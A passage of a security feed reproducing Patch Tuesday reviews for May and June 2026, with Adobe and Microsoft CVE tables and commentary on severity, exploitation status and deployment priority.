  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
